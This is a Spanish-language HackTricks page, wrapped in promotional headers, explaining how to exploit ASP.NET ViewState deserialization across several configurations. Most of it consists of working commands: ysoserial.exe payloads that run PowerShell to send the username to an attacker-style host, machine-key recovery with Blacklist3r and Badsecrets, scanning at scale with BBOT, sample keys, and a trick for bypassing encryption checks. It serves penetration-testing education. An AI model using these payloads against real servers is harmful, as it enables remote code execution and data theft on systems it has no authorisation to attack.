18 KiB
Explotando __VIEWSTATE sin conocer los secretos
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
¿Qué es ViewState?
ViewState sirve como mecanismo predeterminado en ASP.NET para mantener datos de página y control a través de páginas web. Durante la renderización del HTML de una página, el estado actual de la página y los valores a preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan luego en campos ViewState ocultos.
La información de ViewState puede caracterizarse por las siguientes propiedades o sus combinaciones:
- Base64:
- Este formato se utiliza cuando tanto los atributos
EnableViewStateMac
comoViewStateEncryptionMode
están establecidos en false.
- Este formato se utiliza cuando tanto los atributos
- Base64 + MAC (Código de Autenticación de Mensajes) Habilitado:
- La activación de MAC se logra estableciendo el atributo
EnableViewStateMac
en true. Esto proporciona verificación de integridad para los datos de ViewState.
- La activación de MAC se logra estableciendo el atributo
- Base64 + Encriptado:
- Se aplica encriptación cuando el atributo
ViewStateEncryptionMode
está establecido en true, garantizando la confidencialidad de los datos de ViewState.
- Se aplica encriptación cuando el atributo
Casos de prueba
La imagen es una tabla detallando diferentes configuraciones para ViewState en ASP.NET basadas en la versión del framework .NET. Aquí tienes un resumen del contenido:
- Para cualquier versión de .NET, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey y, por lo tanto, no hay un método aplicable para identificarlo.
- Para versiones anteriores a 4.5, si MAC está habilitado pero la Encriptación no lo está, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
- Para versiones anteriores a 4.5, independientemente de si MAC está habilitado o no, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
- Para versiones 4.5 y superiores, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar usando "Blacklist3r."
Caso de prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false
También es posible deshabilitar completamente el ViewStateMAC configurando la clave del registro AspNetEnforceViewStateMac
en cero en:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identificación de Atributos de ViewState
Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite. Si no se utiliza Mac para proteger el parámetro, puedes explotarlo usando YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Caso de prueba 1.5 - Al igual que el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden eliminar ViewState para que no forme parte de una Solicitud HTTP (el usuario no recibirá esta cookie).
Uno podría asumir que si ViewState no está presente, su implementación está segura de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.
Sin embargo, ese no es el caso. Si agregamos el parámetro ViewState al cuerpo de la solicitud y enviamos nuestra carga serializada creada usando ysoserial, aún podremos lograr ejecución de código como se muestra en el Caso 1.
Caso de prueba: 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
Para habilitar ViewState MAC para una página específica necesitamos realizar los siguientes cambios en un archivo aspx específico:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
También podemos hacerlo para la aplicación en general configurándolo en el archivo web.config como se muestra a continuación:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Como el parámetro está protegido por MAC esta vez, para ejecutar con éxito el ataque primero necesitamos la clave utilizada.
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
Puede ser suministrada con el viewstate y el generador directamente:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
O bien, puede conectarse directamente a la URL de destino e intentar extraer el viewstate del HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Para buscar viewstates vulnerables a escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo badsecrets
de BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Si tienes suerte y encuentras la clave, puedes proceder con el ataque usando YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
En los casos en que el parámetro _VIEWSTATEGENERATOR
no se envía por el servidor, no necesitas proporcionar el parámetro --generator
pero estos sí:
--apppath="/" --path="/hello.aspx"
Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
En este caso, no se sabe si el parámetro está protegido con MAC. Entonces, probablemente el valor esté encriptado y necesitarás la Clave de Máquina para encriptar tu carga útil y explotar la vulnerabilidad.
En este caso, el módulo Blacklist3r está en desarrollo...
Antes de .NET 4.5, ASP.NET puede aceptar un parámetro ___VIEWSTATE
_ no encriptado de los usuarios incluso si ViewStateEncryptionMode
se ha establecido en Always. ASP.NET solo verifica la presencia del parámetro __VIEWSTATEENCRYPTED
en la solicitud. Si se elimina este parámetro y se envía la carga útil no encriptada, aún será procesada.
Por lo tanto, si los atacantes encuentran una forma de obtener la Clave de Máquina a través de otra vulnerabilidad como la travesía de archivos, el comando YSoSerial.Net utilizado en el Caso 2, se puede utilizar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
- Elimina el parámetro
__VIEWSTATEENCRYPTED
de la solicitud para explotar la vulnerabilidad de deserialización de ViewState; de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
Caso de prueba: 4 - .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
Podemos forzar el uso del marco de trabajo de ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
<httpRuntime targetFramework="4.5" />
Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro machineKey
del archivo web.config.
compatibilityMode="Framework45"
Como en el caso anterior, el valor está encriptado. Por lo tanto, para enviar un payload válido, el atacante necesita la clave.
Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave que se está utilizando:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Para obtener una descripción más detallada de IISDirPath y TargetPagePath, consulta aquí
O, con Badsecrets (con un valor de generador):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Una vez que se identifica una clave de máquina válida, el siguiente paso es generar un payload serializado usando YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Si tienes el valor de __VIEWSTATEGENERATOR
, puedes intentar utilizar el parámetro --generator
con ese valor y omitir los parámetros --path
y --apppath
.
Una explotación exitosa de la vulnerabilidad de deserialización de ViewState conducirá a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de explotación se demuestra en un concepto de prueba (PoC) que se puede encontrar a través de un recurso titulado "Explotando la Deserialización de ViewState usando Blacklist3r y YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el PoC de Explotación Exitosa proporcionado.
Caso de Prueba 6 – Se está utilizando ViewStateUserKeys
La propiedad ViewStateUserKey se puede utilizar para defenderse contra un ataque CSRF. Si se ha definido una clave de este tipo en la aplicación y tratamos de generar la carga útil de ViewState con los métodos discutidos hasta ahora, la carga útil no será procesada por la aplicación.
Necesitas usar un parámetro más para crear correctamente la carga útil:
--viewstateuserkey="randomstringdefinedintheserver"
Resultado de una Explotación Exitosa
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona exitosamente, entonces el servidor responde con un "error interno del servidor 500" teniendo como contenido de respuesta "La información de estado no es válida para esta página y podría estar corrupta" y obtenemos la solicitud OOB.
Verificar más información aquí
Referencias
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
Consejo de recompensa por errores de seguridad: ¡Regístrate en Intigriti, una plataforma premium de recompensas por errores de seguridad creada por hackers, para hackers! ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy, y comienza a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.